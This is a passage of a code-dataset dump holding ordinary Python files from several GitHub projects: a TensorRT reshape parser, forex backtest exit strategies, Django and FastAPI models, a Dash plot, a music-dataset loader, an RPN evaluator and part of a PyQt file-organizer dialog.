parts.append(Part(\"copy\", next(it)))\n # covnert from parts to read parts\n input_shape = get_shape(ipt)\n parts = [\n ShapeTensor([1] * item.ones_cnt)\n if item.type == \"ones\"\n else input_shape.slice(slice(item.range[0], item.range[1]))\n for item in parts\n ]\n out_shape = concat_shapes(parts)\n # TensorRT shape tensor must be 0D or 1D\n # cf.: https://docs.nvidia.com/deeplearning/tensorrt/developer-guide/index.html#overview\n # 8.5. Execution Tensors vs. Shape Tensors\n if (\n out_shape.shape_vals == [1, 1]\n and list(ipt.shape) == [1]\n and not ipt.is_execution_tensor\n ):\n out_shape = ShapeTensor([1])\n LOGGER.warning(\n \"Skip Unsqueeze op for converting a non-execution tensor shape \"\n \"from [1] to [1, 1].\"\n )\n out_shape = ShapeTensor([1])\n reshape_op = add_shuffle(ipt, out_shape)\n reshape_op.name = node.name\n\n outputs = {node.output[0]: reshape_op.get_output(0)}\n return reshape_op, outputs\n\n\nclass Squeeze(ONNXNodeParser, OpDesc, parser=real_parser):\n @classmethod\n def _parse_(cls, node, network, itensor_by_name):\n ipt = cls.get_itensor_by_name(node.input[0])\n graph = node.owning_graph\n ipt_shape = graph.get_tensor_shape(node.input[0])\n axes = [idx for idx, axis in enumerate(ipt_shape) if axis == 1]\n axes = node.get_attribute_value(\"axes\", axes)\n ipt_shape = get_shape(ipt)\n shape_vals = ipt_shape.shape_vals\n nb_dims = get_nb_dims(ipt)\n axes = [x if x >= 0 else x + nb_dims for x in axes]\n # check the squeezed axes\n squeezed_dims = [shape_vals[axis] for axis in axes]\n if any(x > 0 and x != 1 for x in squeezed_dims):\n LOGGER.error(\n f\"{node.name} tries to squeeze the {axes} axes of input whose shape is {shape_vals}\"\n )\n kept_axes = [axis for axis in range(nb_dims) if axis not in axes]\n output_shape = ipt_shape.gather(kept_axes)\n reshape_op = add_shuffle(ipt, output_shape)\n reshape_op.name = node.name\n\n outputs = {node.output[0]: reshape_op.get_output(0)}\n return reshape_op, outputs\n\n\nclass Flatten(ONNXNodeParser, OpDesc, parser=real_parser):\n @classmethod\n def _parse_(cls, node, network, itensor_by_name):\n data = cls.get_itensor_by_name(node.input[0])\n shape = get_shape(data)\n get_attr = cls.def_get_attr(node)\n axis = get_attr(\"axis\", 1)\n\n d0 = reduce_mul(shape.slice(slice(axis)))\n d1 = reduce_mul(shape.slice(slice(axis, None)))\n layer = add_shuffle(data, concat_shape(d0, d1))\n layer.name = node.name\n\n outputs = {node.output[0]: layer.get_output(0)}\n return layer, outputs\n","repo_name":"ModelTC/NART","sub_path":"python/nart/modules/trt_utils/reshape.py","file_name":"reshape.py","file_ext":"py","file_size_in_byte":5769,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"21"} +{"seq_id":"1341054076","text":"from backtesting.lib import crossover\nimport talib as ta\nfrom .zun_talib import RCI\nfrom .zun_util import overnow, undernow\nfrom .zun_util import get_tp_by_pips\n\nclass StrategyProfit:\n def profit_next(self):\n eval(f'self.profit_next_{self.profit_method_no:03}')()\n\nclass StrategyProfitFix(StrategyProfit):\n\n def profit_init(self):\n pass\n \n def profit_next_000(self):\n trade = self.trades[0]\n pips = 150\n tp = get_tp_by_pips(trade.entry_price, pips, is_long=trade.is_long)\n trade.tp = tp\n\n def profit_next_001(self):\n trade = self.trades[0]\n pips = 100\n tp = get_tp_by_pips(trade.entry_price, pips, is_long=trade.is_long)\n trade.tp = tp\n\n def profit_next_002(self):\n profits = {\n '1m': 150,\n '1w': 150,\n '1d': 150,\n '4h': 100,\n '1h': 100,\n '30min': 100,\n '15min': 50,\n '5min': 50,\n '1min': 50,\n }\n # profits = {\n # '1m': 150,\n # '1w': 150,\n # '1d': 150,\n # '4h': 100,\n # '1h': 100,\n # '30min': 100,\n # '15min': 50,\n # '5min': 50,\n # '1min': 50,\n # }\n self.period\n trade = self.trades[0]\n pips = profits[self.period]\n tp = get_tp_by_pips(trade.entry_price, pips, is_long=trade.is_long)\n trade.tp = tp\n\n def profit_next_003(self):\n trade = self.trades[0]\n pips = 50\n tp = get_tp_by_pips(trade.entry_price, pips, is_long=trade.is_long)\n trade.tp = tp\n\n def profit_next_004(self):\n self.position.close()\n\nclass StrategyProfitRsi(StrategyProfit):\n rsi_n = 20\n rsi_hi = 75\n rsi_lo = 25\n\n def profit_init(self):\n self.rsi = self.I(ta.RSI,\n self.data.Close,\n timeperiod=self.rsi_n)\n \n def profit_next_000(self):\n if overnow(self.rsi, self.rsi_hi):\n self.position.close()\n\n def profit_next_001(self):\n if undernow(self.rsi, self.rsi_lo):\n self.position.close()\n\nclass StrategyProfitMac(StrategyProfit):\n macd_fn = 12\n macd_sn = 26\n macd_sg = 9\n\n def profit_init(self):\n self.macd, self.sig, self.hist = self.I(ta.MACD,\n self.data.Close,\n fastperiod=self.macd_fn,\n slowperiod=self.macd_sn,\n signalperiod=self.macd_sg)\n \n def profit_next_000(self):\n if self.macd[-1] < 0 and crossover(self.sig, self.macd):\n self.position.close()\n\n def profit_next_001(self):\n if 0 < self.macd[-1] and crossover(self.macd, self.sig):\n self.position.close()\n\nclass StrategyProfitStc(StrategyProfit):\n stoch_fk = 5\n stoch_sk = 3\n stoch_sd = 3\n stoch_hi = 80\n stoch_lo = 20\n\n def profit_init(self):\n self.slowk, self.slowd = self.I(ta.STOCH,\n self.data.High,\n self.data.Low,\n self.data.Close,\n fastk_period=self.stoch_fk,\n slowk_period=self.stoch_sk,\n slowk_matype=0,\n slowd_period=self.stoch_sd,\n slowd_matype=0)\n\n def profit_next_000(self):\n if self.stoch_hi < self.slowk[-1] and \\\n self.stoch_hi < self.slowd[-1] and \\\n undernow(self.slowk, self.slowd):\n self.position.close()\n\n def profit_next_001(self):\n if self.slowk[-1] < self.stoch_lo and \\\n self.slowd[-1] < self.stoch_lo and \\\n crossover(self.slowk, self.slowd):\n self.position.close()\n\nclass StrategyProfitRci(StrategyProfit):\n rci_n = 9\n rci_hi = 80\n rci_lo = -80\n\n def profit_init(self):\n self.rci = self.I(RCI,\n self.data.Close,\n timeperiod=self.rci_n)\n \n def profit_next_000(self):\n if self.rci[-2] < self.rci_hi and self.rci_hi < self.rci[-1]:\n self.position.close()\n\n def profit_next_001(self):\n if self.rci_lo < self.rci[-2] and self.rci[-1] < self.rci_lo:\n self.position.close()\n\nclass StrategyProfitMav(StrategyProfit):\n ma_n = 20\n\n def profit_init(self):\n self.ma = self.I(ta.SMA,\n self.data.Close,\n timeperiod=self.ma_n)\n \n def profit_next_000(self):\n if crossover(self.data.Close, self.ma):\n self.position.close()\n\n def profit_next_001(self):\n if crossover(self.ma, self.data.Close):\n self.position.close()\n\nclass StrategyProfitBko(StrategyProfit):\n\n def profit_init(self):\n self.highest20 = self.I(ta.MAX,\n self.data.Close,\n timeperiod=20)\n self.lowest20 = self.I(ta.MIN,\n self.data.Close,\n timeperiod=20)\n\n def profit_next_000(self):\n if self.data.Close[-1] < self.lowest20[-2]:\n self.position.close()\n\n def profit_next_001(self):\n if self.highest20[-2] < self.data.Close[-1]:\n self.position.close()\n","repo_name":"zunda-lab/fx_backtest","sub_path":"src/strategy/profit.py","file_name":"profit.py","file_ext":"py","file_size_in_byte":5449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73955022452","text":"from django.db import models\nfrom saleor.account.models import PossiblePhoneNumberField\nfrom saleor.account.models import User\n\n\n# Create your models here.\nclass RequestOrder(models.Model):\n slug = models.SlugField(unique=True, max_length=100)\n user = models.ForeignKey(User, on_delete=models.DO_NOTHING)\n name = models.CharField(max_length=200)\n phone = PossiblePhoneNumberField(blank=True, default='')\n fish_name = models.CharField(max_length=200)\n detail = models.TextField(blank=True)\n\n def __str__(self):\n return self.slug\n","repo_name":"AkioSky/FishMart","sub_path":"saleor/request_order/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22443924026","text":"import datetime\nfrom typing import List, Optional\n\nfrom fastapi.requests import Request\n\nfrom services import package\nfrom view_models import ViewModelBase\n\n\nclass DetailsViewModel(ViewModelBase):\n def __init__(self, package_name: str, request: Request):\n super().__init__(request)\n\n self.package_name = package_name\n self.package = package.get_package_by_id(package_name)\n self.latest_release = package.get_latest_release_for_package(package_name)\n self.latest_version = \"0.0.0\"\n self.is_latest = True\n self.maintainers = []\n\n if not self.package or not self.latest_release:\n return\n\n self.latest_version = self.latest_release.version\n self.maintainers = self.package.maintainers\n","repo_name":"madinya/fast-api-web-app","sub_path":"view_models/packages/packages.py","file_name":"packages.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28580736518","text":"import dash_core_components as dcc\nimport dash_html_components as html\nimport plotly.graph_objs as go\nfrom django_plotly_dash import DjangoDash\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n\nfig = go.Figure(go.Surface(\n contours = {\n \"x\": {\"show\": True, \"start\": 1.5, \"end\": 2, \"size\": 0.04, \"color\":\"white\"},\n \"z\": {\"show\": True, \"start\": 0.5, \"end\": 0.8, \"size\": 0.05}\n },\n x = [1,2,3,4,5],\n y = [1,2,3,4,5],\n z = [\n [0, 1, 0, 1, 0],\n [1, 0, 1, 0, 1],\n [0, 1, 0, 1, 0],\n [1, 0, 1, 0, 1],\n [0, 1, 0, 1, 0]\n ]))\nfig.update_layout(\n scene = {\n \"xaxis\": {\"nticks\": 20},\n \"zaxis\": {\"nticks\": 4},\n 'camera_eye': {\"x\": 0, \"y\": -1, \"z\": 0.5},\n \"aspectratio\": {\"x\": 1, \"y\": 1, \"z\": 0.2}\n },\n margin=dict(t=0, b=0, l=0, r=0))\n\napp = DjangoDash('WeirdExample', external_stylesheets=external_stylesheets)\n\napp.layout = html.Div([\n html.H3('This text is generated inside Weird Dash App'),\n html.P('This app displays a weird function'),\n dcc.Graph(figure=fig),\n])\n","repo_name":"atomheartdani/django-plotly-dash","sub_path":"django_dashboard/home/dash_apps/weird_example.py","file_name":"weird_example.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29853687730","text":"\"\"\"ORCHSET Dataset Loader\n\n.. admonition:: Dataset Info\n :class: dropdown\n\n Orchset is intended to be used as a dataset for the development and\n evaluation of melody extraction algorithms. This collection contains\n 64 audio excerpts focused on symphonic music with their corresponding\n annotation of the melody.\n\n For more details, please visit: https://zenodo.org/record/1289786#.XREpzaeZPx6\n\n\"\"\"\n\nimport csv\nimport glob\nimport logging\nimport os\nimport shutil\nfrom typing import BinaryIO, Optional, TextIO, Tuple\n\nimport librosa\nimport numpy as np\n\nfrom mirdata import download_utils\nfrom mirdata import jams_utils\nfrom mirdata import core\nfrom mirdata import annotations\nfrom mirdata import io\n\nBIBTEX = \"\"\"@article{bosch2016evaluation,\n title={Evaluation and combination of pitch estimation methods for melody extraction in symphonic classical music},\n author={Bosch, Juan J and Marxer, Ricard and G{\\'o}mez, Emilia},\n journal={Journal of New Music Research},\n volume={45},\n number={2},\n pages={101--117},\n year={2016},\n publisher={Taylor \\\\& Francis}\n}\"\"\"\nREMOTES = {\n \"all\": download_utils.RemoteFileMetadata(\n filename=\"Orchset_dataset_0.zip\",\n url=\"https://zenodo.org/record/1289786/files/Orchset_dataset_0.zip?download=1\",\n checksum=\"cf6fe52d64624f61ee116c752fb318ca\",\n unpack_directories=[\"Orchset\"],\n )\n}\n\nLICENSE_INFO = (\n \"Creative Commons Attribution Non Commercial Share Alike 4.0 International.\"\n)\n\n\nclass Track(core.Track):\n \"\"\"orchset Track class\n\n Args:\n track_id (str): track id of the track\n\n Attributes:\n alternating_melody (bool): True if the melody alternates between instruments\n audio_path_mono (str): path to the mono audio file\n audio_path_stereo (str): path to the stereo audio file\n composer (str): the work's composer\n contains_brass (bool): True if the track contains any brass instrument\n contains_strings (bool): True if the track contains any string instrument\n contains_winds (bool): True if the track contains any wind instrument\n excerpt (str): True if the track is an excerpt\n melody_path (str): path to the melody annotation file\n only_brass (bool): True if the track contains brass instruments only\n only_strings (bool): True if the track contains string instruments only\n only_winds (bool): True if the track contains wind instruments only\n predominant_melodic_instruments (list): List of instruments which play the melody\n track_id (str): track id\n work (str): The musical work\n\n Cached Properties:\n melody (F0Data): melody annotation\n\n \"\"\"\n\n def __init__(\n self,\n track_id,\n data_home,\n dataset_name,\n index,\n metadata,\n ):\n super().__init__(\n track_id,\n data_home,\n dataset_name,\n index,\n metadata,\n )\n\n self.melody_path = self.get_path(\"melody\")\n\n self.audio_path_mono = self.get_path(\"audio_mono\")\n self.audio_path_stereo = self.get_path(\"audio_stereo\")\n\n @property\n def composer(self):\n return self._track_metadata.get(\"composer\")\n\n @property\n def work(self):\n return self._track_metadata.get(\"work\")\n\n @property\n def excerpt(self):\n return self._track_metadata.get(\"excerpt\")\n\n @property\n def predominant_melodic_instruments(self):\n return self._track_metadata.get(\"predominant_melodic_instruments-normalized\")\n\n @property\n def alternating_melody(self):\n return self._track_metadata.get(\"alternating_melody\")\n\n @property\n def contains_winds(self):\n return self._track_metadata.get(\"contains_winds\")\n\n @property\n def contains_strings(self):\n return self._track_metadata.get(\"contains_strings\")\n\n @property\n def contains_brass(self):\n return self._track_metadata.get(\"contains_brass\")\n\n @property\n def only_strings(self):\n return self._track_metadata.get(\"only_strings\")\n\n @property\n def only_winds(self):\n return self._track_metadata.get(\"only_winds\")\n\n @property\n def only_brass(self):\n return self._track_metadata.get(\"only_brass\")\n\n @core.cached_property\n def melody(self) -> Optional[annotations.F0Data]:\n return load_melody(self.melody_path)\n\n @property\n def audio_mono(self) -> Optional[Tuple[np.ndarray, float]]:\n \"\"\"the track's audio (mono)\n\n Returns:\n * np.ndarray - the mono audio signal\n * float - The sample rate of the audio file\n\n \"\"\"\n return load_audio_mono(self.audio_path_mono)\n\n @property\n def audio_stereo(self) -> Optional[Tuple[np.ndarray, float]]:\n \"\"\"the track's audio (stereo)\n\n Returns:\n * np.ndarray - the mono audio signal\n * float - The sample rate of the audio file\n\n \"\"\"\n return load_audio_stereo(self.audio_path_stereo)\n\n def to_jams(self):\n \"\"\"Get the track's data in jams format\n\n Returns:\n jams.JAMS: the track's data in jams format\n\n \"\"\"\n return jams_utils.jams_converter(\n audio_path=self.audio_path_mono,\n f0_data=[(self.melody, \"annotated melody\")],\n metadata=self._track_metadata,\n )\n\n\n@io.coerce_to_bytes_io\ndef load_audio_mono(fhandle: BinaryIO) -> Tuple[np.ndarray, float]:\n \"\"\"Load an Orchset audio file.\n\n Args:\n fhandle (str or file-like): File-like object or path to audio file\n\n Returns:\n * np.ndarray - the mono audio signal\n * float - The sample rate of the audio file\n\n \"\"\"\n return librosa.load(fhandle, sr=None, mono=True)\n\n\n@io.coerce_to_bytes_io\ndef load_audio_stereo(fhandle: BinaryIO) -> Tuple[np.ndarray, float]:\n \"\"\"Load an Orchset audio file.\n\n Args:\n fhandle (str or file-like): File-like object or path to audio file\n\n Returns:\n * np.ndarray - the stereo audio signal\n * float - The sample rate of the audio file\n\n \"\"\"\n return librosa.load(fhandle, sr=None, mono=False)\n\n\n@io.coerce_to_string_io\ndef load_melody(fhandle: TextIO) -> annotations.F0Data:\n \"\"\"Load an Orchset melody annotation file\n\n Args:\n fhandle (str or file-like): File-like object or path to melody annotation file\n\n Raises:\n IOError: if melody_path doesn't exist\n\n Returns:\n F0Data: melody annotation data\n \"\"\"\n\n times = []\n freqs = []\n confidence = []\n reader = csv.reader(fhandle, delimiter=\"\\t\")\n for line in reader:\n times.append(float(line[0]))\n freqs.append(float(line[1]))\n confidence.append(0.0 if line[1] == \"0\" else 1.0)\n\n melody_data = annotations.F0Data(\n np.array(times), np.array(freqs), np.array(confidence)\n )\n return melody_data\n\n\n@core.docstring_inherit(core.Dataset)\nclass Dataset(core.Dataset):\n \"\"\"\n The orchset dataset\n \"\"\"\n\n def __init__(self, data_home=None):\n super().__init__(\n data_home,\n name=\"orchset\",\n track_class=Track,\n bibtex=BIBTEX,\n remotes=REMOTES,\n license_info=LICENSE_INFO,\n )\n\n @core.cached_property\n def _metadata(self):\n\n predominant_inst_path = os.path.join(\n self.data_home, \"Orchset - Predominant Melodic Instruments.csv\"\n )\n\n if not os.path.exists(predominant_inst_path):\n raise FileNotFoundError(\"Metadata not found. Did you run .download()?\")\n\n with open(predominant_inst_path, \"r\") as fhandle:\n reader = csv.reader(fhandle, delimiter=\",\")\n raw_data = []\n for line in reader:\n if line[0] == \"excerpt\":\n continue\n raw_data.append(line)\n\n tf_dict = {\"TRUE\": True, \"FALSE\": False}\n\n metadata_index = {}\n for line in raw_data:\n track_id = line[0].split(\".\")[0]\n\n id_split = track_id.split(\".\")[0].split(\"-\")\n if id_split[0] == \"Musorgski\" or id_split[0] == \"Rimski\":\n id_split[0] = \"-\".join(id_split[:2])\n id_split.pop(1)\n\n melodic_instruments = [s.split(\",\") for s in line[1].split(\"+\")]\n melodic_instruments = [\n item.lower() for sublist in melodic_instruments for item in sublist\n ]\n for i, inst in enumerate(melodic_instruments):\n if inst == \"string\":\n melodic_instruments[i] = \"strings\"\n elif inst == \"winds (solo)\":\n melodic_instruments[i] = \"winds\"\n melodic_instruments = sorted(list(set(melodic_instruments)))\n\n metadata_index[track_id] = {\n \"predominant_melodic_instruments-raw\": line[1],\n \"predominant_melodic_instruments-normalized\": melodic_instruments,\n \"alternating_melody\": tf_dict[line[2]],\n \"contains_winds\": tf_dict[line[3]],\n \"contains_strings\": tf_dict[line[4]],\n \"contains_brass\": tf_dict[line[5]],\n \"only_strings\": tf_dict[line[6]],\n \"only_winds\": tf_dict[line[7]],\n \"only_brass\": tf_dict[line[8]],\n \"composer\": id_split[0],\n \"work\": \"-\".join(id_split[1:-1]),\n \"excerpt\": id_split[-1][2:],\n }\n\n return metadata_index\n\n @core.copy_docs(load_audio_mono)\n def load_audio_mono(self, *args, **kwargs):\n return load_audio_mono(*args, **kwargs)\n\n @core.copy_docs(load_audio_stereo)\n def load_audio_stereo(self, *args, **kwargs):\n return load_audio_stereo(*args, **kwargs)\n\n @core.copy_docs(load_melody)\n def load_melody(self, *args, **kwargs):\n return load_melody(*args, **kwargs)\n","repo_name":"sebastianrosenzweig/mirdata","sub_path":"mirdata/datasets/orchset.py","file_name":"orchset.py","file_ext":"py","file_size_in_byte":9878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"19023217627","text":"from django.db import models\nfrom inventory.models import Product\nfrom Order.models import Order\n\n# Create your models here.\nclass Cart (models.Model):\n\n product = models.ManyToManyField(Product)\n order = models.ForeignKey(Order,on_delete=models.CASCADE)\n price = models.DecimalField(max_digits=6, decimal_places=2)\n quantity = models.PositiveBigIntegerField()\n shipping_cost = models.DecimalField(max_digits=6, decimal_places=2)\n payment_options = models.CharField(max_length=32)\n date_created = models.DateTimeField(auto_now_add=True)\n date_updated = models.DateTimeField(auto_now=True)\n def __str__(self): ####self acts as string representation of the class//**\n return self.payment_options","repo_name":"EuniceMusenyia/GreenKiosk__Backend","sub_path":"Cart/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8046484504","text":"# Python 3 code to evaluate reverse polish notation\n\n# function to evaluate reverse polish notation\ndef evaluate(expression):\n # splitting expression at whitespaces\n expression = expression.split()\n\n # stack\n stack = []\n\n # iterating expression\n for ele in expression:\n\n # ele is a number\n if ele not in '/*+-':\n stack.append(int(ele))\n\n # ele is an operator\n else:\n # getting operands\n right = stack.pop()\n left = stack.pop()\n\n # performing operation according to operator\n if ele == '+':\n stack.append(left + right)\n\n elif ele == '-':\n stack.append(left - right)\n\n elif ele == '*':\n stack.append(left * right)\n\n elif ele == '/':\n stack.append(int(left / right))\n\n # return final answer.\n return stack.pop()\n\n\n# input expression\narr = \"14 13 5 / +\"\n\n# calling evaluate()\nanswer = evaluate(arr)\n# printing final value of the expression\nprint(f\"Value of given expression'{arr}' = {answer}\")","repo_name":"iproduct/intro-python","sub_path":"sdp-2023-05-data-structures/rpn.py","file_name":"rpn.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"34016013504","text":"from Core.CommandLineOptions import QuickMakeParameters\nfrom Core import CommandLineOptions\nfrom Core import Dialogs\nfrom Core import Organizer\nimport FileUtils as fu\nfrom Core.MyObjects import *\nfrom Core import Universals as uni\nfrom Core import ReportBug\n\n\nclass QuickMake():\n def __init__(self):\n if len(QuickMakeParameters) > 1 or (len(QuickMakeParameters) == 1 and (\n QuickMakeParameters[0] == \"plugins\" or QuickMakeParameters[0] == \"configurator\")):\n answer = None\n makeThisAction = None\n actionName = None\n isShowQuickMakeWindow = True\n tempWindow = MMainWindow()\n self.quickMakeWindow = QuickMakeWindow()\n setMainWindow(self.quickMakeWindow)\n isShowEmendWidgets = False\n isCorrectCommand = True\n if QuickMakeParameters[0] == \"configurator\":\n isShowQuickMakeWindow = False\n makeThisAction = self.quickMakeWindow.configurator\n actionName = translate(\"QuickMake\", \"Hamsi Manager Configurator\")\n elif QuickMakeParameters[0] == \"plugins\":\n isShowQuickMakeWindow = False\n makeThisAction = self.quickMakeWindow.plugins\n actionName = translate(\"QuickMake\", \"My Plugins\")\n elif QuickMakeParameters[0] == \"pack\":\n isShowQuickMakeWindow = False\n makeThisAction = self.quickMakeWindow.pack\n actionName = translate(\"QuickMake\", \"Pack It Now\")\n elif QuickMakeParameters[0] == \"hash\":\n isShowQuickMakeWindow = False\n makeThisAction = self.quickMakeWindow.hash\n actionName = translate(\"QuickMake\", \"Get Hash Digest\")\n elif QuickMakeParameters[0] == \"checkIcon\":\n makeThisAction = self.quickMakeWindow.checkIcon\n actionName = translate(\"QuickMake\", \"Check Directory Icon Now\")\n elif QuickMakeParameters[0] == \"clearEmptyDirectories\":\n makeThisAction = self.quickMakeWindow.clearEmptyDirectories\n actionName = translate(\"QuickMake\", \"Clear Empty Directories Now\")\n elif QuickMakeParameters[0] == \"clearUnneededs\":\n makeThisAction = self.quickMakeWindow.clearUnneededs\n actionName = translate(\"QuickMake\", \"Clear Unneededs Now\")\n elif QuickMakeParameters[0] == \"clearIgnoreds\":\n makeThisAction = self.quickMakeWindow.clearIgnoreds\n actionName = translate(\"QuickMake\", \"Clear Ignoreds Now\")\n elif QuickMakeParameters[0] == \"emendFile\":\n isShowEmendWidgets = True\n makeThisAction = self.quickMakeWindow.emendFile\n actionName = translate(\"QuickMake\", \"Auto Emend Now\")\n elif QuickMakeParameters[0] == \"emendDirectory\":\n isShowEmendWidgets = True\n makeThisAction = self.quickMakeWindow.emendDirectory\n actionName = translate(\"QuickMake\", \"Auto Emend Now\")\n elif QuickMakeParameters[0] == \"emendDirectoryWithContents\":\n isShowEmendWidgets = True\n makeThisAction = self.quickMakeWindow.emendDirectoryWithContents\n actionName = translate(\"QuickMake\", \"Auto Emend Now (With Contents)\")\n elif QuickMakeParameters[0] == \"copyPath\":\n isShowQuickMakeWindow = False\n makeThisAction = self.quickMakeWindow.copyPath\n actionName = translate(\"QuickMake\", \"Copy Path To Clipboard\")\n elif QuickMakeParameters[0] == \"fileTree\":\n isShowQuickMakeWindow = False\n makeThisAction = self.quickMakeWindow.fileTree\n actionName = translate(\"QuickMake\", \"Build File Tree\")\n elif QuickMakeParameters[0] == \"removeOnlySubFiles\":\n makeThisAction = self.quickMakeWindow.removeOnlySubFiles\n actionName = translate(\"QuickMake\", \"Remove Sub Files\")\n elif QuickMakeParameters[0] == \"clear\":\n isShowQuickMakeWindow = False\n makeThisAction = self.quickMakeWindow.clear\n actionName = translate(\"QuickMake\", \"Clear It Now\")\n elif QuickMakeParameters[0] == \"textCorrector\":\n isShowQuickMakeWindow = False\n makeThisAction = self.quickMakeWindow.textCorrector\n actionName = translate(\"QuickMake\", \"Text Corrector\")\n elif QuickMakeParameters[0] == \"search\":\n isShowQuickMakeWindow = False\n makeThisAction = self.quickMakeWindow.search\n actionName = translate(\"QuickMake\", \"Search\")\n else:\n isCorrectCommand = False\n if isCorrectCommand:\n if isShowQuickMakeWindow:\n if uni.getBoolValue(\"isShowQuickMakeWindow\"):\n self.quickMakeWindow.createWindow(actionName, makeThisAction, isShowEmendWidgets)\n self.quickMakeWindow.show()\n else:\n makeThisAction()\n else:\n makeThisAction()\n else:\n answer = Dialogs.askSpecial(translate(\"QuickMake\", \"Incorrect Command\"),\n translate(\"QuickMake\",\n \"Your action unable to process.Please try again or report this bug.\"),\n translate(\"QuickMake\", \"Report This Bug\"), translate(\"QuickMake\", \"Close\"))\n else:\n answer = Dialogs.askSpecial(translate(\"QuickMake\", \"Missing Command\"),\n translate(\"QuickMake\",\n \"Your action unable to process.Please try again or report this bug.\"),\n translate(\"QuickMake\", \"Report This Bug\"), translate(\"QuickMake\", \"Close\"))\n if answer == translate(\"QuickMake\", \"Report This Bug\"):\n ReportBug.ReportBug(True)\n\n\nMyDialog, MyDialogType, MyParent = getMyDialog()\n\n\nclass QuickMakeWindow(MyDialog):\n def __init__(self):\n MyDialog.__init__(self, MyParent)\n\n def createWindow(self, _actionName, _makeThisAction, _isShowEmendWidgets):\n from Options import OptionsForm\n\n newOrChangedKeys = uni.newSettingsKeys + uni.changedDefaultValuesKeys\n wOptionsPanel = OptionsForm.OptionsForm(None, QuickMakeParameters[0], None, newOrChangedKeys)\n if MyDialogType == \"MDialog\":\n if isActivePyKDE4:\n self.setButtons(MyDialog.NoDefault)\n elif MyDialogType == \"MMainWindow\":\n self.setObjectName(\"Packager\")\n setMainWindow(self)\n self.setWindowTitle(_actionName)\n pnlMain = MWidget(self)\n vblMain = MVBoxLayout(pnlMain)\n pnlInfo = MWidget()\n vblInfo = MVBoxLayout(pnlInfo)\n vblInfo.addStretch(3)\n if _isShowEmendWidgets:\n lblOldValue = MLabel(translate(\"QuickMake\", \"Old Value : \"))\n lblNewValue = MLabel(translate(\"QuickMake\", \"New Value : \"))\n leOldValue = MLineEdit(str(fu.getRealPath(QuickMakeParameters[1])))\n leOldValue.setEnabled(False)\n self.leNewValue = MLineEdit(str(Organizer.emend(fu.getRealPath(QuickMakeParameters[1]),\n fu.getObjectType(fu.getRealPath(QuickMakeParameters[1])))))\n vblInfo.addWidget(lblOldValue)\n vblInfo.addWidget(leOldValue)\n vblInfo.addWidget(lblNewValue)\n vblInfo.addWidget(self.leNewValue)\n else:\n lblValue = MLabel(translate(\"QuickMake\", \"Value : \"))\n leValue = MLineEdit(str(fu.getRealPath(QuickMakeParameters[1])))\n leValue.setEnabled(False)\n vblInfo.addWidget(lblValue)\n vblInfo.addWidget(leValue)\n vblInfo.addStretch(3)\n pbtnApply = MPushButton(_actionName)\n pbtnClose = MPushButton(translate(\"QuickMake\", \"Cancel\"))\n MObject.connect(pbtnApply, SIGNAL(\"clicked()\"), _makeThisAction)\n MObject.connect(pbtnClose, SIGNAL(\"clicked()\"), self.close)\n tabwTabs = MTabWidget()\n tabwTabs.addTab(pnlInfo, translate(\"QuickMake\", \"Quick Make\"))\n tabwTabs.addTab(wOptionsPanel, translate(\"QuickMake\", \"Quick Make Options\"))\n vblMain.addWidget(tabwTabs)\n hblBox = MHBoxLayout()\n hblBox.addWidget(pbtnClose, 2)\n hblBox.addWidget(pbtnApply, 3)\n vblInfo.addLayout(hblBox)\n if MyDialogType == \"MDialog\":\n if isActivePyKDE4:\n self.setMainWidget(pnlMain)\n else:\n self.setLayout(vblMain)\n elif MyDialogType == \"MMainWindow\":\n self.setCentralWidget(pnlMain)\n moveToCenter(self)\n self.setMinimumSize(450, 350)\n\n def closeEvent(self, _event):\n MApplication.setQuitOnLastWindowClosed(True)\n\n def checkSource(self, _oldPath, _objectType=\"fileAndDirectory\", _isCheckWritable=True):\n _path = fu.checkSource(_oldPath, _objectType, False)\n if _path is None:\n if _objectType == \"file\":\n answer = Dialogs.ask(translate(\"QuickMake\", \"Cannot Find File\"),\n str(translate(\"FileUtils\",\n \"\\\"%s\\\" : cannot find a file with this name.<br>Are you want to organize parent directory with Hamsi Manager?\")) % Organizer.getLink(\n _oldPath))\n if answer == Dialogs.Yes:\n self.organizeWithHamsiManager(_oldPath)\n return None\n elif _objectType == \"directory\":\n answer = Dialogs.ask(translate(\"QuickMake\", \"Cannot Find Directory\"),\n str(translate(\"FileUtils\",\n \"\\\"%s\\\" : cannot find a folder with this name.<br>Are you want to organize parent directory with Hamsi Manager?\")) % Organizer.getLink(\n _oldPath))\n if answer == Dialogs.Yes:\n self.organizeWithHamsiManager(_oldPath)\n return None\n else:\n answer = Dialogs.ask(translate(\"QuickMake\", \"Cannot Find File Or Directory\"),\n str(translate(\"FileUtils\",\n \"\\\"%s\\\" : cannot find a file or directory with this name.<br>Are you want to organize parent directory with Hamsi Manager?\")) % Organizer.getLink(\n _oldPath))\n if answer == Dialogs.Yes:\n self.organizeWithHamsiManager(_oldPath)\n return None\n if _isCheckWritable:\n if fu.isWritableFileOrDir(_oldPath) is False:\n return None\n return _path\n\n def organizeWithHamsiManager(self, _oldPath):\n uni.setMySetting(\"lastDirectory\", fu.getRealDirName(_oldPath, True))\n CommandLineOptions.isQuickMake = False\n self.close()\n\n def pack(self):\n try:\n _path = self.checkSource(str(QuickMakeParameters[1]), \"directory\", False)\n if _path is not None:\n from Tools import Packager\n\n self.newDialog = Packager.Packager(_path)\n except:\n ReportBug.ReportBug()\n\n def configurator(self):\n try:\n from Tools import Configurator\n\n self.newDialog = Configurator.Configurator()\n except:\n 